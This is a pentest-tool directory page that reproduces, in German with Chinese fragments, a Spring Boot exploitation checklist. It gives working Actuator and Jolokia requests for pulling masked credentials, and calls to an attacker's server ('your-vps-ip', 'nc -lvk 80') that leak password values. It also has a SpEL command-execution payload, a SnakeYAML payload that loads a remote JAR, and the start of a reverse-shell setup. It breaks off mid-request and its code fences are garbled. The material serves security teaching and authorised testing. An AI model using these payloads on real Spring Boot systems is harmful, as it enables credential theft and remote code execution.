Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
SpringBootVulExploit — SpringBoot-bezogene Schwachstellen-Lernmaterialien, Sammlung von Exploit-Methoden und -Techniken, Black-Box-Sicherheitsbewertungs-Checkliste | Kitploit
Tools/GitHubGitHub/landgrey/springbootvulexploit
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsLernen & Bildung
GitHublandgrey/springbootvulexploit

SpringBootVulExploit

SpringBoot-bezogene Schwachstellen-Lernmaterialien, Sammlung von Exploit-Methoden und -Techniken, Black-Box-Sicherheitsbewertungs-Checkliste

Repository anzeigen
6.1k1.3k8vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Spring Boot Vulnerability Exploit Check List

Spring Boot Schwachstellen-Lernmaterialien, Nutzungsmethoden und Techniken-Sammlung, Black-Box-Sicherheitscheckliste

Erklärung

⚠️ Alle Inhalte dieses Projekts dienen ausschließlich zu Sicherheitsforschungs- und autorisierten Testzwecken. Die Verantwortlichen übernehmen keinerlei Haftung für Schäden, die durch Missbrauch und falsche Verwendung dieses Projekts entstehen.

Inhaltsverzeichnis

  • Spring Boot Vulnerability Exploit Check List
    • 0: Routen und Versionen
      • 0x01: Routenkenntnisse
      • 0x02: Versionskenntnisse
        • Abhängigkeitsbeziehungen zwischen Komponentenversionen:
        • Abhängigkeiten zwischen Spring Cloud und Spring Boot Versionen:
        • Suffixe und Bedeutung der Nebenversionen von Spring Cloud:
    • 1: Informationsleck
      • 0x01: Leck von Routenadressen und Schnittstellenaufrufdetails
      • 0x02: Durch Fehlkonfiguration exponierte Routen
      • 0x03: Klartext der durch Sternchen maskierten Passwörter abrufen (Methode 1)
  • Voraussetzungen:
  • Nutzungsmethode:
    • Schritt 1: Den gewünschten Eigenschaftsnamen finden
    • Schritt 2: Über jolokia das relevante MBean aufrufen, um den Klartext zu erhalten
  • 0x04: Klartext der durch Sternchen maskierten Passwörter abrufen (Methode 2)
    • Voraussetzungen:
    • Nutzungsmethode:
      • Schritt 1: Den gewünschten Eigenschaftsnamen finden
      • Schritt 2: Mit nc auf HTTP-Anfragen lauschen
      • Schritt 3: Die Eigenschaft eureka.client.serviceUrl.defaultZone setzen
      • Schritt 4: Konfiguration aktualisieren
      • Schritt 5: Eigenschaftswert dekodieren
  • 0x05: Klartext der durch Sternchen maskierten Passwörter abrufen (Methode 3)
    • Voraussetzungen:
    • Nutzungsmethode:
      • Schritt 1: Den gewünschten Eigenschaftsnamen finden
      • Schritt 2: Mit nc auf HTTP-Anfragen lauschen
      • Schritt 3: Eine ausgehende HTTP-Anfrage auslösen
      • Schritt 4: Konfiguration aktualisieren
  • 0x06: Klartext der durch Sternchen maskierten Passwörter abrufen (Methode 4)
    • Voraussetzungen:
    • Nutzungsmethode:
      • Schritt 1: Den gewünschten Eigenschaftsnamen finden
      • Schritt 2: JVM Heap-Informationen herunterladen
      • Schritt 3: Mit MAT den Klartext des Passworts aus dem JVM Heap extrahieren
  • 2: Remote Code Execution
    • 0x01: Whitelabel Error Page SpEL RCE
      • Voraussetzungen:
      • Nutzungsmethode:
        • Schritt 1: Eine normale Parameterübergabestelle finden
        • Schritt 2: SpEL-Ausdruck ausführen
      • Schwachstellenprinzip:
      • Schwachstellenanalyse:
      • Schwachstellenumgebung:
    • 0x02: Spring Cloud SnakeYAML RCE
      • Voraussetzungen:
      • Nutzungsmethode:
        • Schritt 1: YML- und JAR-Dateien hosten
        • Schritt 2: Die Eigenschaft spring.cloud.bootstrap.location setzen
        • Schritt 3: Konfiguration aktualisieren
      • Schwachstellenprinzip:
      • Schwachstellenanalyse:
      • Schwachstellenumgebung:
    • 0x03: Eureka XStream Deserialization RCE
      • Voraussetzungen:
      • Nutzungsmethode:
        • Schritt 1: Eine Website einrichten, die auf schädliches XStream-Payload antwortet
        • Schritt 2: Auf den Reverse-Shell-Port lauschen
        • Schritt 3: Die Eigenschaft eureka.client.serviceUrl.defaultZone setzen
        • Schritt 4: Konfiguration aktualisieren
      • Schwachstellenprinzip:
      • Schwachstellenanalyse:
      • Schwachstellenumgebung:
    • 0x04: Jolokia Logback JNDI RCE
      • Voraussetzungen:
      • Nutzungsmethode:
        • Schritt 1: Vorhandene MBeans anzeigen
        • Schritt 2: XML-Datei hosten
        • Schritt 3: Auszuführenden Java-Code vorbereiten
        • Schritt 4: Schädlichen LDAP-Dienst einrichten
        • Schritt 5: Auf den Reverse-Shell-Port lauschen
        • Schritt 6: Log-Konfigurationsdatei von externer URL laden
      • Schwachstellenprinzip:
      • Schwachstellenanalyse:
      • Schwachstellenumgebung:
    • 0x05: Jolokia Realm JNDI RCE
      • Voraussetzungen:
      • Nutzungsmethode:
        • Schritt 1: Vorhandene MBeans anzeigen
        • Schritt 2: Auszuführenden Java-Code vorbereiten
        • Schritt 3: Class-Datei hosten
        • Schritt 4: Schädlichen RMI-Dienst einrichten
        • Schritt 5: Auf den Reverse-Shell-Port lauschen
        • Schritt 6: Schädliches Payload senden
      • Schwachstellenprinzip:
      • Schwachstellenanalyse:
      • Schwachstellenumgebung:
    • 0x06: Restart H2 Database Query RCE
      • Voraussetzungen:
      • Nutzungsmethode:
        • Schritt 1: Die Eigenschaft spring.datasource.hikari.connection-test-query setzen
        • Schritt 2: Anwendung neu starten
      • Schwachstellenprinzip:
      • Schwachstellenanalyse:
      • Schwachstellenumgebung:
    • 0x07: H2 Database Console JNDI RCE
      • Voraussetzungen:
      • Nutzungsmethode:
        • Schritt 1: Route aufrufen, um jsessionid zu erhalten
        • Schritt 2: Auszuführenden Java-Code vorbereiten
        • Schritt 3: Class-Datei hosten
        • Schritt 4: Schädlichen LDAP-Dienst einrichten
        • Schritt 5: Auf den Reverse-Shell-Port lauschen
        • Schritt 6: Paket senden, um JNDI-Injection auszulösen
      • Schwachstellenanalyse:
      • Schwachstellenumgebung:
    • 0x08: MySQL JDBC Deserialization RCE
      • Voraussetzungen:
      • Nutzungsmethode:
        • Schritt 1: Umgebungsabhängigkeiten prüfen
        • Schritt 2: Schädlichen Rogue-MySQL-Server einrichten
        • Schritt 3: Die Eigenschaft spring.datasource.url setzen
        • Schritt 4: Konfiguration aktualisieren
        • Schritt 5: Datenbankabfrage auslösen
        • Schritt 6: Normale JDBC-URL wiederherstellen
      • Schwachstellenprinzip:
      • Schwachstellenanalyse:
      • Schwachstellenumgebung:
    • 0x09: Restart logging.config Logback JNDI RCE
      • Voraussetzungen:
      • Nutzungsmethode:
        • Schritt 1: XML-Datei hosten
        • Schritt 2: Schädlichen LDAP-Dienst und Code hosten
        • Schritt 3: Die Eigenschaft logging.config setzen
        • Schritt 4: Anwendung neu starten
      • Schwachstellenprinzip:
      • Schwachstellenanalyse:
      • Schwachstellenumgebung:
    • 0x0A: Restart logging.config Groovy RCE
      • Voraussetzungen:
      • Nutzungsmethode:
        • Schritt 1: Groovy-Datei hosten
        • Schritt 2: Die Eigenschaft logging.config setzen
        • Schritt 3: Anwendung neu starten
      • Schwachstellenprinzip:
      • Schwachstellenumgebung:
    • 0x0B: Restart spring.main.sources Groovy RCE
      • Voraussetzungen:
      • Nutzungsmethode:
        • Schritt 1: Groovy-Datei hosten
        • Schritt 2: Die Eigenschaft spring.main.sources setzen
        • Schritt 3: Anwendung neu starten
      • Schwachstellenprinzip:
      • Schwachstellenumgebung:
    • 0x0C: Restart spring.datasource.data H2 Database RCE
      • Voraussetzungen:
      • Nutzungsmethode:
        • Schritt 1: SQL-Datei hosten
        • Schritt 2: Die Eigenschaft spring.datasource.data setzen
        • Schritt 3: Anwendung neu starten
      • Schwachstellenprinzip:
      • Schwachstellenumgebung:
  • 0: Routen und Versionen

    0x01: Routenkenntnisse

    • Einige Programmierer definieren benutzerdefinierte Pfade wie /manage, /management oder projektbezogene App-Namen als Stammpfad von Spring.
    • Spring Boot Actuator 1.x verwendet standardmäßig / als Startpfad für integrierte Routen, während 2.x einheitlich /actuator als Startpfad verwendet.
    • Die standardmäßigen integrierten Routennamen von Spring Boot Actuator, wie /env, werden manchmal von Programmierern geändert, z. B. in /appenv.

    0x02: Versionskenntnisse

    Spring Cloud ist eine geordnete Sammlung von Frameworks, die auf Spring Boot aufbauen, um Dienste zu erstellen und gängige Funktionen wie Konfigurationsverwaltung, Dienstregistrierung und -erkennung sowie intelligentes Routing bereitzustellen, die die schnelle Entwicklung verteilter Systeme unterstützen.

    Abhängigkeitsbeziehungen zwischen Komponentenversionen:

    AbhängigkeitVersionsliste und abhängige Komponentenversionen
    spring-boot-starter-parentspring-boot-starter-parent
    spring-boot-dependenciesspring-boot-dependencies
    spring-cloud-dependenciesspring-cloud-dependencies

    Abhängigkeiten zwischen Spring Cloud und Spring Boot Versionen:

    Spring Cloud HauptversionSpring Boot Version
    AngelKompatibel mit Spring Boot 1.2.x
    BrixtonKompatibel mit Spring Boot 1.3.x, 1.4.x
    CamdenKompatibel mit Spring Boot 1.4.x, 1.5.x
    DalstonKompatibel mit Spring Boot 1.5.x, nicht kompatibel mit 2.0.x
    EdgwareKompatibel mit Spring Boot 1.5.x, nicht kompatibel mit 2.0.x
    FinchleyKompatibel mit Spring Boot 2.0.x, nicht kompatibel mit 1.5.x
    GreenwichKompatibel mit Spring Boot 2.1.x
    HoxtonKompatibel mit Spring Boot 2.2.x

    Suffixe und Bedeutung der Nebenversionen von Spring Cloud:

    NebenversionssuffixBedeutung
    BUILD-SNAPSHOTSnapshot-Version, Code nicht festgelegt, in Veränderung
    MXMeilenstein-Version
    RCXRelease-Kandidat
    RELEASEOffizielle Release-Version
    SRXOffizielle Release-Version (nach Fehlerbehebung und erneuter Veröffentlichung)

    1: Informationsleck

    0x01: Leck von Routenadressen und Schnittstellenaufrufdetails

    Entwickler erkennen nicht, dass das Leck von Adressen zu Sicherheitsrisiken führen kann, oder wenn die Entwicklungsumgebung in die Produktionsumgebung umgestellt wird, haben die Verantwortlichen die Konfigurationsdatei nicht geändert und vergessen, die Umgebungskonfiguration zu wechseln.

    Direkter Zugriff auf die folgenden beiden Swagger-bezogenen Routen, um zu überprüfen, ob die Schwachstelle existiert:``` /v2/api-docs /swagger-ui.html

    root@kitploit:~
    Einige andere swagger-, swagger codegen-, swagger-dubbo- und ähnliche API-Routen, die möglicherweise auftreten:```
    /swagger
    /api-docs
    /api.html
    /swagger-ui
    /swagger/codes
    /api/index.html
    /api/v2/api-docs
    /v2/swagger.json
    /swagger-ui/html
    /distv2/index.html
    /swagger/index.html
    /sw/swagger-ui.html
    /api/swagger-ui.html
    /static/swagger.json
    /user/swagger-ui.html
    /swagger-ui/index.html
    /swagger-dubbo/api-docs
    /template/swagger-ui.html
    /swagger/static/index.html
    /dubbo-provider/distv2/index.html
    /spring-security-rest/api/swagger-ui.html
    /spring-security-oauth-resource/swagger-ui.html
    

    Darüber hinaus enthalten die folgenden spring boot actuator-bezogenen Routen manchmal auch (oder lassen sich ableiten) einige Informationen über API-Endpunktadressen, jedoch können keine Parameterinformationen abgerufen werden:``` /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops

    root@kitploit:~
    **Im Allgemeinen ist das Offenlegen von Schnittstellen und Parameterinformationen einer Spring Boot-Anwendung kein Sicherheitsproblem**, aber im Sinne von "**Standardmäßig sicher**" ist es sicherer, diese Informationen nicht preiszugeben.
    
    Für Angreifer ist es üblich, die offengelegten Schnittstellen genau zu prüfen, um mehr über das Geschäftssystem zu erfahren, und gleichzeitig zu überprüfen, ob das Anwendungssystem andere Arten von Sicherheitslücken aufweist, wie z. B. nicht autorisierten Zugriff oder Rechteausweitung.
    
    
    
    ### 0x02: Durch Fehlkonfiguration offengelegte Routen
    
    > Der Hauptgrund ist, dass der Entwickler während der Entwicklung nicht erkannt hat, dass das Offenlegen von Routen Sicherheitsrisiken mit sich bringen kann, oder dass er nicht nach dem Standardprozess entwickelt hat und vergessen hat, die Konfiguration für die Produktionsumgebung zu ändern/umzustellen, wenn die Anwendung in Betrieb genommen wird.
    
    
    
    Unter Bezugnahme auf [production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) und [spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) könnten die folgenden standardmäßig integrierten Routen aufgrund von Fehlkonfiguration offengelegt werden:```
    /actuator
    /auditevents
    /autoconfig
    /beans
    /caches
    /conditions
    /configprops
    /docs
    /dump
    /env
    /flyway
    /health
    /heapdump
    /httptrace
    /info
    /intergrationgraph
    /jolokia
    /logfile
    /loggers
    /liquibase
    /metrics
    /mappings
    /prometheus
    /refresh
    /scheduledtasks
    /sessions
    /shutdown
    /trace
    /threaddump
    /actuator/auditevents
    /actuator/beans
    /actuator/health
    /actuator/conditions
    /actuator/configprops
    /actuator/env
    /actuator/info
    /actuator/loggers
    /actuator/heapdump
    /actuator/threaddump
    /actuator/metrics
    /actuator/scheduledtasks
    /actuator/httptrace
    /actuator/mappings
    /actuator/jolokia
    /actuator/hystrix.stream
    

    其中对寻找漏洞比较重要接口的有:

    • /env、/actuator/env

      GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文;

      同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。

    • /refresh、/actuator/refresh

      POST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。

    • /restart、/actuator/restart

      暴露出此接口的情况较少;可以配合 POST请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。

    • /jolokia、/actuator/jolokia

      可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。

    • /trace、/actuator/httptrace

      一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie、jwt token 等信息。

    0x03:获取被星号脱敏的密码的明文 (方法一)

    访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果

    利用条件:

    • 目标网站存在 /jolokia 或 /actuator/jolokia 接口
    • 目标使用了 jolokia-core 依赖(版本要求暂未知)

    利用方法:

    步骤一: 找到想要获取的属性名

    GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

    步骤二: jolokia 调用相关 Mbean 获取明文

    将下面示例中的 security.user.password 替换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的 value 键中。

    • 调用 org.springframework.boot Mbean

    实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法

    spring 1.x``` POST /jolokia Content-Type: application/json

    {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

    root@kitploit:~
    spring 2.x```
    POST /actuator/jolokia
    Content-Type: application/json
    
    {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
    
    • Aufruf des org.springframework.cloud.context.environment Mbean

    Tatsächlich wird die getProperty-Methode der Instanz der org.springframework.cloud.context.environment.EnvironmentManager-Klasse aufgerufen.

    spring 1.x``` POST /jolokia Content-Type: application/json

    {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

    root@kitploit:~
    spring 2.x```
    POST /actuator/jolokia
    Content-Type: application/json
    
    {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
    
    • 调用其他 Mbean

    目标具体情况和存在的 Mbean 可能不一样,可以搜索 getProperty 等关键词,寻找可以调用的方法。

    0x04:获取被星号脱敏的密码的明文 (方法二)

    利用条件:

    • 可以 GET 请求目标网站的 /env
    • 可以 POST 请求目标网站的 /env
    • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
    • 目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
    • 目标可以请求攻击者的服务器(请求可出外网)

    利用方法:

    步骤一: 找到想要获取的属性名

    GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

    步骤二: 使用 nc 监听 HTTP 请求

    在自己控制的外网服务器上监听 80 端口:```bash nc -lvk 80

    root@kitploit:~
    ##### Schritt 3: Einstellen der Eigenschaft eureka.client.serviceUrl.defaultZone
    
    Ersetzen Sie in der folgenden `http://value:${security.user.password}@your-vps-ip` den Wert von `security.user.password` durch den entsprechenden durch Sternchen * verdeckten Eigenschaftsnamen, den Sie abrufen möchten;
    
    Ersetzen Sie `your-vps-ip` durch die echte IP-Adresse Ihres externen Servers.
    
    
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

    root@kitploit:~
    ##### Schritt vier: Konfiguration aktualisieren
    
    spring 1.x```
    POST /refresh
    Content-Type: application/x-www-form-urlencoded
    
    

    spring 2.x``` POST /actuator/refresh Content-Type: application/json

    root@kitploit:~
    ##### Schritt 5: Dekodieren des Attributwerts
    
    Normalerweise erhält der auf nc lauschende Server zu diesem Zeitpunkt eine Anfrage vom Ziel, welche einen `Authorization`-Header mit folgendem Inhalt enthält:```
    Authorization: Basic dmFsdWU6MTIzNDU2
    

    将其中的 dmFsdWU6MTIzNDU2部分使用 base64 解码,即可获得类似明文值 value:123456,其中的 123456 即是目标星号 * 脱敏前的属性值明文。

    Dekodieren Sie den Teil dmFsdWU6MTIzNDU2 mit base64, um einen ähnlichen Klartextwert value:123456 zu erhalten, wobei 123456 der ursprüngliche Klartext des maskierten Attributwerts (Sternchen *) ist.

    0x05: Klartext des maskierten Passworts abrufen (Methode 3)

    Voraussetzungen:

    • Setzen Sie eine Eigenschaft über POST /env und lösen Sie so aus, dass das Ziel eine beliebige HTTP-Anfrage an eine externe Adresse sendet
    • Das Ziel kann den Server des Angreifers erreichen (Anfragen können das Internet verlassen)

    Nutzungsmethode:

    Siehe issue-1 von UUUUnotfound. Während das Ziel eine externe HTTP-Anfrage sendet, kann der Platzhalter im URL-Pfad zum Extrahieren von Daten verwendet werden.

    Schritt 1: Ermitteln des gewünschten Attributnamens

    Senden Sie eine GET-Anfrage an /env oder /actuator/env des Ziels, suchen Sie nach dem Schlüsselwort ****** und finden Sie den Attributnamen, der dem mit Sternchen * maskierten Wert entspricht.

    Schritt 2: HTTP-Anfrage mit nc überwachen

    Lauschen Sie auf dem externen Server (Ihre Kontrolle) auf Port 80:```bash nc -lvk 80

    root@kitploit:~
    ##### Schritt 3: Auslösen einer ausgehenden HTTP-Anfrage
    
    - `spring.cloud.bootstrap.location`-Methode (**gilt auch für** Fälle, in denen Klartextdaten spezielle URL-Zeichen enthalten)
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}

    root@kitploit:~
    - `eureka.client.serviceUrl.defaultZone` Methode (**nicht anwendbar** bei Klartextdaten mit speziellen URL-Zeichen)
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

    root@kitploit:~
    ##### Schritt 4: Konfiguration aktualisieren
    
    spring 1.x```
    POST /refresh
    Content-Type: application/x-www-form-urlencoded
    
    

    spring 2.x``` POST /actuator/refresh Content-Type: application/json

    root@kitploit:~
    ### 0x06: Klartext von durch Sternchen maskierten Passwörtern abrufen (Methode 4)
    
    > Beim Zugriff auf den `/env`-Endpoint ersetzt Spring Actuator die Werte von Eigenschaften mit sensiblen Schlüsselwörtern (wie password, secret) durch *-Zeichen, um eine Maskierung zu erreichen.
    
    #### Voraussetzungen:
    
    - Normale GET-Anfrage an das Ziel `/heapdump` oder `/actuator/heapdump` ist möglich
    
    #### Vorgehensweise:
    
    ##### Schritt 1: Den gewünschten Eigenschaftsnamen finden
    
    Senden Sie eine GET-Anfrage an den `/env`- oder `/actuator/env`-Endpoint der Zielseite. Suchen Sie nach dem Schlüsselwort `******` und finden Sie den Eigenschaftsnamen, der dem durch * maskierten Wert entspricht.
    
    ##### Schritt 2: JVM-Heap-Dump herunterladen
    
    > Die heruntergeladene Heapdump-Datei ist normalerweise zwischen 50M und 500M groß, kann aber auch über 2G betragen.
    
    Senden Sie eine GET-Anfrage an den `/heapdump`- oder `/actuator/heapdump`-Endpoint des Ziels, um die aktuellen JVM-Heap-Informationen der Anwendung herunterzuladen.
    
    ##### Schritt 3: Mit MAT das Klartextpasswort aus dem JVM-Heap extrahieren
    
    Siehe die Methode im [Artikel](https://landgrey.me/blog/16/), verwenden Sie die **OQL**-Anweisungen des [Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php) Tools.```
    select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
    
    或
    
    select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
    

    辅助用 "password" 等关键词快速过滤分析,获得密码等相关敏感信息的明文。

    2: Remote Code Execution

    Da die Schwachstellen im Zusammenhang mit Spring Boot durch eine Kombination mehrerer Komponentenschwachstellen verursacht werden können, sind einige Schwachstellennamen nicht ganz standardisiert, um sie dennoch unterscheiden zu können.

    0x01: whitelabel error page SpEL RCE

    Voraussetzungen:

    • spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
    • Mindestens eine Schnittstelle und einen Parameternamen, die die Standardfehlerseite von Spring Boot auslösen, kennen.

    Nutzungsmethode:

    Schritt 1: Finden einer Stelle, an der Parameter normal übergeben werden

    Zum Beispiel, wenn der Zugriff auf /article?id=xxx einen Fehler mit Statuscode 500 auf der Seite Whitelabel Error Page auslöst, werden alle nachfolgenden Payloads im Parameter id versucht.

    Schritt 2: Ausführen des SpEL-Ausdrucks

    Geben Sie /article?id=${7*7} ein. Wenn die Fehlerseite den Wert von 7*7 (49) berechnet und anzeigt, kann grundsätzlich bestätigt werden, dass das Ziel eine Schwachstelle für die SpEL-Ausdrucksinjektion aufweist.

    Durch Konvertierung des Zeichenkettenformats in die 0x**-Byteform von Java wird die Ausführung von beliebigem Code erleichtert:```python

    coding: utf-8

    result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))

    root@kitploit:~
    Führe den Befehl `open -a Calculator` aus```java
    ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
    

    Schwachstellenprinzip:

    1. Wenn Spring Boot Parameterwerte fehlerhaft verarbeitet, gelangt der Ablauf in die Klasse org.springframework.util.PropertyPlaceholderHelper
    2. Dann werden die Parameterwerte in der URL rekursiv mit der Methode parseStringValue geparst
    3. Inhalte, die von ${} umschlossen sind, werden von der Methode resolvePlaceholder der Klasse org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration als SpEL-Ausdruck geparst und ausgeführt, was zu einer RCE-Schwachstelle führt

    Schwachstellenanalyse:

    ​ SpringBoot SpEL-Einschleusungsschwachstelle - Analyse und Reproduktion

    Schwachstellenumgebung:

    repository/springboot-spel-rce

    Normaler Zugriff:``` http://127.0.0.1:9091/article?id=66

    root@kitploit:~
    Führen Sie den Befehl `open -a Calculator` aus:```java
    http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
    

    0x02: spring cloud SnakeYAML RCE

    Voraussetzungen:

    • POST-Anfrage an die /env-Schnittstelle der Zielwebsite zum Setzen von Eigenschaften
    • POST-Anfrage an die /refresh-Schnittstelle der Zielwebsite zum Aktualisieren der Konfiguration (Abhängigkeit spring-boot-starter-actuator vorhanden)
    • Version der Zielabhängigkeit spring-cloud-starter < 1.3.0.RELEASE
    • Die Zielwebsite kann den HTTP-Server des Angreifers erreichen (Anfragen können das externe Netz erreichen)

    Nutzungsmethode:

    Schritt 1: Hosting der yml- und jar-Dateien

    Starten Sie auf Ihrem eigenen VPS einen einfachen HTTP-Server. Verwenden Sie nach Möglichkeit gängige HTTP-Service-Ports (80, 443).```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    Platzieren Sie im Stammverzeichnis der Website eine Datei mit der Endung `yml` namens `example.yml`,mit folgendem Inhalt:```yaml
    !!javax.script.ScriptEngineManager [
      !!java.net.URLClassLoader [[
        !!java.net.URL ["http://your-vps-ip/example.jar"]
      ]]
    ]
    

    Im Webverzeichnis die Datei example.jar mit der Erweiterung jar ablegen, die den auszuführenden Code enthält. Informationen zur Codeerstellung und Kompilierung finden Sie unter yaml-payload.

    Schritt 2: Setzen der Eigenschaft spring.cloud.bootstrap.location

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    spring.cloud.bootstrap.location=http://your-vps-ip/example.yml

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
    
    Schritt 3: Konfiguration aktualisieren

    spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/refresh
    Content-Type: application/json
    
    

    Schwachstellenprinzip:

    1. Die Eigenschaft spring.cloud.bootstrap.location wird auf die URL-Adresse einer externen bösartigen YML-Datei gesetzt.
    2. Ein Refresh veranlasst das Zielgerät, die YML-Datei auf dem entfernten HTTP-Server anzufordern und deren Inhalt zu erhalten.
    3. SnakeYAML hat eine Deserialisierungsschwachstelle, so dass beim Parsen des bösartigen YML-Inhalts die angegebenen Aktionen ausgeführt werden.
    4. Zuerst wird java.net.URL ausgelöst, um die bösartige JAR-Datei vom entfernten HTTP-Server abzurufen.
    5. Dann wird nach einer Klasse in der JAR-Datei gesucht, die das Interface javax.script.ScriptEngineFactory implementiert, und diese wird instanziiert.
    6. Beim Instanziieren der Klasse wird bösartiger Code ausgeführt, was zu einer RCE-Schwachstelle führt.

    Schwachstellenanalyse:

    Lernnotizen zu Exploit Spring Boot Actuator Spring Cloud Env

    Schwachstellenumgebung:

    repository/springcloud-snakeyaml-rce

    Normaler Zugriff:``` http://127.0.0.1:9092/env

    root@kitploit:~
    ### 0x03: Eureka XStream Deserialization RCE
    
    #### Voraussetzungen:
    
    - Sie können eine POST-Anfrage an den Endpunkt `/env` der Ziel-Website senden, um Eigenschaften zu setzen.
    - Sie können eine POST-Anfrage an den Endpunkt `/refresh` der Ziel-Website senden, um die Konfiguration zu aktualisieren (abhängig von `spring-boot-starter-actuator`).
    - Das vom Ziel verwendete `eureka-client` < 1.8.7 (normalerweise enthalten in der Abhängigkeit `spring-cloud-starter-netflix-eureka-client`).
    - Das Ziel kann den HTTP-Server des Angreifers erreichen (Anfragen können nach außen gehen).
    
    #### Ausnutzungsmethode:
    
    ##### Schritt 1: Einrichten einer Website, die eine schädliche XStream-Payload bereitstellt
    
    Stellen Sie ein [Python-Skriptbeispiel](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py) bereit, das auf Flask basiert und den Anforderungen entspricht. Die Funktion besteht darin, mithilfe des auf der Ziel-Linux-Maschine vorhandenen Pythons eine Reverse-Shell zu öffnen.
    
    Führen Sie das obige Skript auf Ihrem eigenen kontrollierten Server mit Python aus und ändern Sie die IP-Adresse und Portnummer für die Reverse-Shell im Skript entsprechend den tatsächlichen Gegebenheiten.
    
    ##### Schritt 2: Lauschen auf den Port der Reverse-Shell
    
    Normalerweise verwenden Sie nc, um auf einen Port zu lauschen und auf die Reverse-Shell zu warten.```bash
    nc -lvp 443
    
    Schritt 3: Setzen der Eigenschaft eureka.client.serviceUrl.defaultZone

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
